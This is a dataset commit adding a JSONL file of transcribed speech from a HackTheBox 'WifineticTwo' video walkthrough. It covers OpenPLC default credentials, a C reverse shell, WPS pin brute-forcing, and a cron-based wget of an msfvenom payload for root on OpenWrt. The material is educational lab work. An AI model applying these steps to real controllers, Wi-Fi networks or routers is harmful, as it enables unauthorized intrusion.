k3nn3dy commited on
Commit
7790e13
·
verified ·
1 Parent(s): bd8175f

Add HackTheBox_-_WifineticTwo.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_WifineticTwo.jsonl +27 -0
HackTheBox_-_WifineticTwo.jsonl ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "what's going on YouTube this is ipag we doing Wi-Fi nect 2 from hack the box which is a relatively short box at around like two and a half steps but it is pretty fun it starts out by finding the open PLC web interface with default credentials and you can just um write some C code in that and then it will compile and run it for you so you get a reverse shell on a box the second step is discovering that box has a wireless Nick you can perform a scan discover there's a wireless network that has WPS enabled and then you can run a program in order to Brute Force the VPS key in order to get the pre-shared key and then configure the box to join the wireless network and here's where the hard step comes in um once you join the wireless network and run DH client there is a chance you just hang the box if you don't configure DH client to not auto", "start": 0.24, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
2
+ {"text": "update your routes because there is a chance that it just no longer knows how to get back to you so that is going to be where we spend most of the time in this video but once you get the IP address on the wireless network you can just log in to open wrt and get the root flag so with that being said let's jump in as always we're going to start off with an end map so- SCC for default scripts SV enumerate versions - VV for double ver this gives us the TTL OA output all formats put in the directory end map and call it Wi-Fi netic 2 then the IP address of 1010 11.7 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and its Banner tells us it's in a buntu server we also have HTTP on Port 80 it's Banner tells us it's running work Zug and", "start": 44.68, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
3
+ {"text": "python version 2.718 this is ancient right let's see the release notes for python it's back in 2020 so like over four years ago and the SSH Banner is for Ubuntu 011 on 82 P1 uh this is probably Ubuntu focal um that is 20 let's see I can get rid of open SSH let's just Google that go over to Launchpad and we see this is Ubuntu focal so right now despite the TTL both being at 63 I'm thinking these are two different um operating systems right I would expect this to be 62 and this to be 63 on hack the Box just because um this would be an extra hop away but um since they're birth there maybe it's running darker or something and not deting the TTL but it's definitely odd to see Python 2.7 on a box nowadays um it could Al just be manually installed on this Ubuntu 20 box but I'm guessing maybe like Ubuntu 16 or something like that that's just ancient um not much", "start": 93.479, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
4
+ {"text": "else to look at uh let's just go over and examine the web page so I'm going to go to 10117 port 8080 and we get the open PLC web server which is a programmable logic controller but whenever I get login to something like this I always Google um default credentials to see what it is it's probably to be like admin admin or something like that but we can see it's open PLC and open PLC um so let's go and type that open PLC open PLC and default credentials get us logged in now we could look for a bunch of vulnerabilities in this but um open PLC gives you the ability to um run code by Design right so a PLC is a programmable logic controller it's just a really simple computer to interact with machines doesn't have like a full-blown OS maybe the most common example or the device you interact with the PLC most is probably like a washing machine because you interact with it through the knobs and buttons on the", "start": 160.239, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
5
+ {"text": "washing machine and then there's a computer there that tells it how like the cycle tells it how to fill it with water how to spin the clothes how to drain it how to heat the water like all that's um controlled probably by a PLC device right so open PLC is just allowing us to simulate um programmable logic controllers on a full computer right and this uh is the hardware so we can just put a reverse shell here and we'll get a call back if we look at what this function is this update custom out um this function is called by open PLC in a loop so this is where we want to put the code so let's just Google AC reverse shell and um we'll get one back right I don't know if that is the one I want this one is a little bit complex I just want a really simple one like this if we look at that other one um I recognize the pository as soon as I", "start": 229.4, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
6
+ {"text": "hit it uh it's got just a lot more code that I didn't want to deal with right so if we look at that versus this this is much simpler so what I'm going to do is copy the headers and we're going to put them let's see where's my open PLC login am I not logged in okay there I am we're going to put all those headers at the top and then we're going to put our IP address here this is going to be 10 10 148 and then Port 91 we're going to make sure we are listening and then let's go ahead and grab the other code go back here and I'm going to put it where it just Loops over and I think that's all we need right so let's do save changes and it's going to compile the program and we got an error message it says inet address was not declared in the scope do you mean this I'm going to Google the error message and let's", "start": 294.4, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
7
+ {"text": "see do we have any answers it's probably we're just missing some uh Library ah header inet we need socket we need these three let make sure we have those uh we can go back to Hardware okay we had socket we have this net inet we did not have RP A.H so let's try saving the changes with that one and see if it actually compiles it says compilation has been successful we go to dashboard and click Start PLC we can see we have a reverse shell so let's go get a proper shell so I'm going to do python 3-c import PTY PTY spawn bin bash and then control Z stty raw minus Echo and then foreground it we can export term is equal to X term so we can clear the screen and do things like that so the first thing I want to look at is um what version of Ubuntu we are on and are enough we on Ubuntu 202 and the host", "start": 372.759, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
8
+ {"text": "was Ubuntu 20 so we're actually um running python 2 right we have python 27 um on a newer container than what the host is Right unless for some reason they like backported SSH on the host but I really don't think that's the case um regardless we could find out if that is the same SSH server potentially uh we don't even have SSH listening so we know we're in some type of VM or container because when we Scan 10 10 117 we got SSH back um we don't have that so let's see what else do we want to do um there is one thing I want to talk about if we try accessing the Box again um it's just hung right and that happens a lot with just when you see python work Zug if it's not a threaded application which python 2 of course it's not going to be threaded you're going to hang the web server when you do this now I tried making a like fork in my code so what I", "start": 452.56, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
9
+ {"text": "had done let's see can we I don't think I can access the code easily anymore but essentially I just called fork and then ran it so it would run in the background or a child pit and eventually it just destroyed the whole web server so that didn't work there is something that is funny if we Google like open PLC reverse shell if we did research like this um the top re uh result will be this repository and this is obviously created for this box that's why I decided to do it manually first because we can see everything's hardcoded to use hack the Box information but um the thing I found funny when I first looked at this before playing with it myself and trying to Fork my own server um I thought it was really silly because their C code um they're just calling bin bash right but there is a reason why they're doing this believe and that is they start a", "start": 514.2, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
10
+ {"text": "new process and background it and when you do it that way the fork doesn't screw up the whole web server and also the server is just going to last right so right now as long as we have the shell we can't um interact with the website so that's something I always test for when doing pent test now let's take a look at what's on this box if we do a IPA we can see there is a wireless Nick a w link its date is down but if I do a IW um then we say device w0 scan this is going to just perform a scan on this um Nick or wireless land and we can see we get one um hit back right we have let's see what is the SSID we have the PLC router and it supports WPS so since support it's WPS there is a chance that we can just um break into it if you want to learn more about WPS I dive really deep into exactly how it works in the Wi-Fi netic video um here", "start": 571.959, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
11
+ {"text": "we're just going to download a script and get it working right and I'm going to use onot and not Reaver because onot is going to be python Reaver is C and it's a pain to get all the um dependencies over to this box to get Reaver working whereas if it's python we can just run it and it works right so let's go and download one shot so we can say a get clone over here and then I'm going to stand up a web server so HTTP server let's go Dev shm WG 10 1048 8000 on shot. Pi uh not found let's do a curl and we'll call it onshot dopy there we go if we execute this to make sure it downloaded it works so let's just do- I w0 and it's going to perform a scan we could have specified BSS ID to do it manually but I'm going to hit one for Target one and it's going to um attempt the pin 1 2 3 4 5 6 70 and it gets authenticated so this is I think going", "start": 641.36, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
12
+ {"text": "to be um One Shot will do various attacks but it just defaults to testing 1 2 3 4 5 5670 first because that is the default pin I believe I think Reaver does that as well um but we get access to the pre-shared key through the WPS pin and the um SSID now there is a weird thing in this next step which is connecting to the wireless network and it's going to be a bit of a pain to show hopefully it's not that hard to follow but essentially Once We join the wireless netor networ we're going to have to run DH client to get a IP address and depending how we do DH client it can just break the uh route back to us because I think there's a race condition I don't fully understand what's going on but um every now and then when I did a DHCP update it just took the default route of the wireless network and the wireless network can't", "start": 712.12, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
13
+ {"text": "get back to the 101014 address which then just made the Box be completely unresponsive now it's very odd how it hits that condition why I think it's a Ras condition so let's generate a um config file so we can join the wiress network so I'm going to do a WPA passphrase and we specify the um SSID and then we to specify the password um let's see it's like that there it is so let's go and grab this and that has a special character in it so I'm going to do this so I'm going to call that wpa.net to hex means this going to lose the race condition between the wireless interface and the um hardwire interface and whatever one is last is I think is going to be the default route so since this becomes last when we specify the text then uh the Box becomes unresponsive I think that's what's happening but I'm not sure but I wanted to show it because", "start": 773.16, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
14
+ {"text": "there are some good um talking points here right so I'm going to use WPA supplicant and then we're going to say B this is going to run in Damon mode so it runs in the background then we specify the config file with- C so this is going to be Dev shm wp.com and that's specified W l0 and this is going to um connect the device right so if I do iwd wl0 link uh we can see we are connected so we have successfully authenticated the access point so now if I just do DH client or we can do um IPA there's no ethernet address so I'm going to run a DH client and then- v i could specify wl0 as well but if we just do- V uh we get an IP address and everything comes back now I'm going to revert the box and we're going to do this again and when I do it again I'm going to um use the pre-shared key in the normal", "start": 862.88, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
15
+ {"text": "format so let's revert the box and through the powers of editing I have already reverted the box so if I do iwd um wl0 link we see we aren't connected and we don't have an IP address so let's rerun that command to generate a config and I'm going to call it wp.com but this time we're going to edit the config and I'm going to specify it in the asky form and now we'll join the network so we're going to run WP supplicant and background uh point it to the config and then the interface so now if I look at it we see we are connected so now if I just do a DH c-v hopefully the um Wireless Nick will finish after the hard wire Nick and will just hang because we'll have a default gateway of the wireless neck and it looks like oh we got it wait maybe I think it's hung so I think the box now is completely hung and we'll never get a um connection back so what", "start": 928.6, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
16
+ {"text": "I'm going to do is we're going to cheat a little bit we're going to skip over and get a shell on the root of the box so I'm going to start this up and go over to my other monitor click the super secret button to send myself a shell and we get a shell on the RO of the box so we can go into this container and show you exactly what happened and I know sorry we're kind of like jumping all over the part on this box but I do think this is somewhat interesting right so I'm going to do LXE LS because all these are containers and I think I was on attic 01 right so the containers because we're joining the wireless network um we have 10 of them so there's 10 people that can do this simultaneously without stepping on each other right but I'm going to do LX attach on my container if I do IP route we can see the default route now is 192", "start": 1004.639, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
17
+ {"text": "168 1.1 um and since this is the default the W land Z interface cannot get to my 10104 interface and that's why this hung right if I go and attach to let's do lxc attach Attica O2 IP route we can see what it should look like right so when it wasn't um hanging when we just did it before the default route was 1031 on ethernet zero so that's why it maintained connectivity so I think it's just how it gets the responses from DHCP in order what it sets first right so if the ethernet is the very last one it gets then um it'll set that as a default gateway I think if W lands areas then it sits that it's a weird thing where they um conflict with each other right so I'm going to revert the box one last time to show you how I would recommend doing um any type of DHCP update right because if you're on a client and you're doing something you do want to say hey I have", "start": 1059.64, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
18
+ {"text": "this box I want to do a DH client and get a new IP address on this network you don't want it setting the route for you because it may just destroy everything you have so let me revert the box and now the box has been reverted I did join the network so if I do iwd W l0 link we can see we are connected but don't have an IP address so now I'm going to go over to Google I'm going to say DH client do not update default route and let's see I think it's this post right here I had found on stack Overflow and it talks about editing the um DHCP enter hook and then adding this variable I can't find a um argument in DH client to apply this so this looks like the best way to do it so we're going to edit this so we're going to create this file it's not actually editing and then all we have to do is say unset new", "start": 1126.84, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
19
+ {"text": "routes and I don't think it has to be executable or anything right yeah I think we just run this and now again no IP address we can say DH c-v and we get a IP address right away right so that is how I would do this just because again um whenever running DH client if the Gateway or dhtp server gives you a new route it's going to update and it can screw up your existing shells so um I really like doing that and after you do it definitely delete that file you had just created so you don't create issues going forward right because if this box reverted or not reverted um rebooted and this route was in here when it gets this 103 whatever address if this was DHCP it's not going to create the default gateway and this box isn't going to have internet so um definitely always make sure you undo that rule after you create it but now that we have that set we can look at the", "start": 1187.72, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
20
+ {"text": "Gateway so we know the Gateway is 192 16811 uh we did that just because we looked at the route already uh let's see that's the default oh we don't see it actually here I bet if I did an r- uh we do see2 16811 so we can ping that and talk to it so if we wanted to we can see uh what ports are open so if we try to connect to it on like Port 22 uh we get a drop bear server interesting enough um I expected to see like open but this is drop AAR so if we try sshing there it logs Us in right away and that's actually the Box um so we could cat root. text and get it so uh yeah there is something else that's interesting so if we had curled that IP address let's say SSH wasn't open this is actually running open wrt so what let's um set up chisel so we can connect and view this website through a browser so let's go over here we can go in", "start": 1251.919, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
21
+ {"text": "dubdub dub we copy opt is it chisel yep I have it on my box so let's just copy it there and then we can do curl 10 1048 8000 chisel out chisel okay chod plus X chisel let's make sure we can execute it uh we can't let's see oh I start my server in one shot there we go let's download it again chod plus X chisel we can do chisel server Port let's do 8,000 and allow reverse are we already a listing on 8,000 we'll do 80001 and we can say just SI okay uh client and we want to say 10 10 148 Port 801 I stand up a reverse socks there we go so now if I configure Firefox to use sock 5 we should be able to go to 192 168 1.1 and we get a login form if we just click log in it's going to let us log in because there is no password set and this is the open wrt interface so here we can do system and then if we went over to Let's", "start": 1323.159, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
22
+ {"text": "see we got schedule tasks and this says this is the system contab which a schedule task can be defined so 1 2 3 4 5 so this is going to run every minute and then we just just need to know um what is on this box so I'm going to cheat a little bit because we do have a shell here right sh root at 192 16811 because I don't think there's actually bash if we do LS bin bash there is no bash on this so that means we can't do the dev TCP shell I'm going to check if we have curl we don't do we have w we do so we're going to use W um we can exit and then foreground our proxy so I'm going to do WG 10 10 148 P 8,000 and we'll do a program called shell and I'm going to save this so This should run every single minute and we should see it get hit here um let's do msf Venom uh let's see the payload is going to be was it", "start": 1424.279, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
23
+ {"text": "Linux I don't know what it is is it list payloads and we actually not getting a shell back here um I should have something waiting like sleeping 60 seconds to see exactly when a minute is but this interface I don't think can actually hit the 101014 address uh what we could do is stand up a second one and we want to do IPA Let's see we are2 168184 let's just set that here and see if we can actually do a WG against this box and un fortunately let's see foreground one so that's saved background foreground two that's a netcat so let's see if it actually makes a request there uh let's see reverse TCP that's Windows Windows Windows Windows we only want Linux see grap Linux grap reverse TCP that may be better I hate how it just truncated so much right there that was annoying I don't want to unzoom my window because it may get back to that", "start": 1505.039, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
24
+ {"text": "right uh let's see this is what we want Linux x64 there is so we can say- p Linux x64 and then shell reverse TCP Hell host is equal to um what do we say this was we did make a WG there so that is the correct one uh we want 1921 168 1.84 and the L Port is going to be we'll do 90001 the format is going to be elf out we'll call it shell that should create it and then we'll do a WG on 10 10 148 8000 shell out shell and this can't be WG this needs to be curl there we go so we have downloaded it file shell 404 move shell to dubdub dub okay so now we want to HSE this so python 3-m http oh this is going to be annoying we need like let's see um let's kill chisel do we have screen on this box do we have t-s we don't have any of those we need multiple sessions I guess I could run the web server in the background but let's just do b-c Bash -", "start": 1624.679, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
25
+ {"text": "I Dev TCP 10 1048 91 like that do I have a shell don't why is that not working let's try just moving the and in there there we go that works so this is how we can run multiple processes easily let's do nvmp 91 there we go okay so this one we want to run chisel so/ chisel client 10 1048 81 R socks okay we'll need another one n cvnp 90001 send this shell there we go so here let's do python 3-c import PTY PTY spawn B Bash I screwed that up copy paste st2 raw minus Echo foreground there we go so this one we just want to run a HTTP server because that's going to give shell and here we listen on 90001 okay so we can W get the shell then we can say s mod plus X on shell and then we can execute shell so we save this is my chisel not connected 1080 it's hung I think something's wrong with my burp proxy which is", "start": 1740.76, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
26
+ {"text": "annoying let's see I just killed that whole Shell let's go back send it p-f grap on chisel we got two running let's k kill 678 kill 739 uh let's see foreground foreground okay I think that's good I'm really hoping I didn't just kill these shells up here okay I got it so I definitely didn't um let's see what do we want to do chisel chisel client 10 1048 81 our socks I'm going to restart chisel here so we just get get it fresh looks like it connected try again there we go let's go to system schedule tasks and we can redo what we did here so we W get Sage mod plus X on shell then we execute shell and if everything goes well we'll get the shell over here let's just make sure we are listening uh oh we are sweet we have a connection do LS and there we go we got rout so hope you guys enjoyed the box that's going to be the video take care", "start": 1899.84, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}
27
+ {"text": "and I will see you all next time", "start": 2024.799, "duration": 0.0, "meta": {"video_id": "EDwHvZ6ujho", "title": "HackTheBox - WifineticTwo", "url": "https://www.youtube.com/watch?v=EDwHvZ6ujho"}}